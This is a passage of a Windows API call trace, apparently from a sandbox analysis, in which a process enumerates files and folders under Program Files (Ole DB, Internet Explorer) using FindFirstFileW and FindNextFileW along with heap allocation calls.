hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44060e78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x44060e78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x44060e78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0277.019] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d5b9b4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d5b9b4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d5b9b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0277.019] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d5b9b4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d5b9b4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d5b9b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x57000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0277.019] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44060e78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x44060e78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x44060e78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0277.019] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4403ac10, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4403ac10, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4403ac10, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0277.019] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0277.019] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0277.020] FindClose (in: hFindFile=0xb03088 | out: hFindFile=0xb03088) returned 1 [0277.020] GetProcessHeap () returned 0xaf0000 [0277.020] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0277.021] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ad, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0277.021] GetProcessHeap () returned 0xaf0000 [0277.021] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0277.021] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0277.022] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.022] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0277.022] GetProcessHeap () returned 0xaf0000 [0277.022] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3688270 [0277.023] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0277.023] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.023] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0277.023] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0277.023] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0277.023] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb65d7300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0277.023] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb65d7300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0277.023] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0277.024] GetProcessHeap () returned 0xaf0000 [0277.024] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3688270 | out: hHeap=0xaf0000) returned 1 [0277.024] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0277.024] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5be00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0277.024] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0277.024] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0277.024] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0277.024] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0277.025] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0277.025] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0277.025] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0277.025] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0277.025] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c80ffc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c80ffc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c80ffc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0277.025] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c80ffc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c80ffc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c80ffc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0277.026] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4fa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0277.026] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0277.026] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 0 [0277.026] FindClose (in: hFindFile=0xb03088 | out: hFindFile=0xb03088) returned 1 [0277.026] GetProcessHeap () returned 0xaf0000 [0277.257] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0277.272] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x0, dwReserved1=0x3ad, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0277.272] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb600, dwReserved0=0x0, dwReserved1=0x3ad, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0277.272] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb600, dwReserved0=0x0, dwReserved1=0x3ad, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0277.286] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0277.286] GetProcessHeap () returned 0xaf0000 [0277.286] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0277.300] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0277.300] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0277.301] GetProcessHeap () returned 0xaf0000 [0277.301] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3677260 | out: hHeap=0xaf0000) returned 1 [0277.301] FindNextFileW (in: hFindFile=0xb03108, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a307d95, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d0779b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d0779b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0277.301] FindNextFileW (in: hFindFile=0xb03108, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xec1d2101, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec1d2101, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0277.301] GetProcessHeap () returned 0xaf0000 [0277.301] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0277.302] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xec1d2101, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec1d2101, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0277.302] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xec1d2101, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec1d2101, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.302] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0277.302] GetProcessHeap () returned 0xaf0000 [0277.302] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0277.302] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\*", lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0277.302] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, 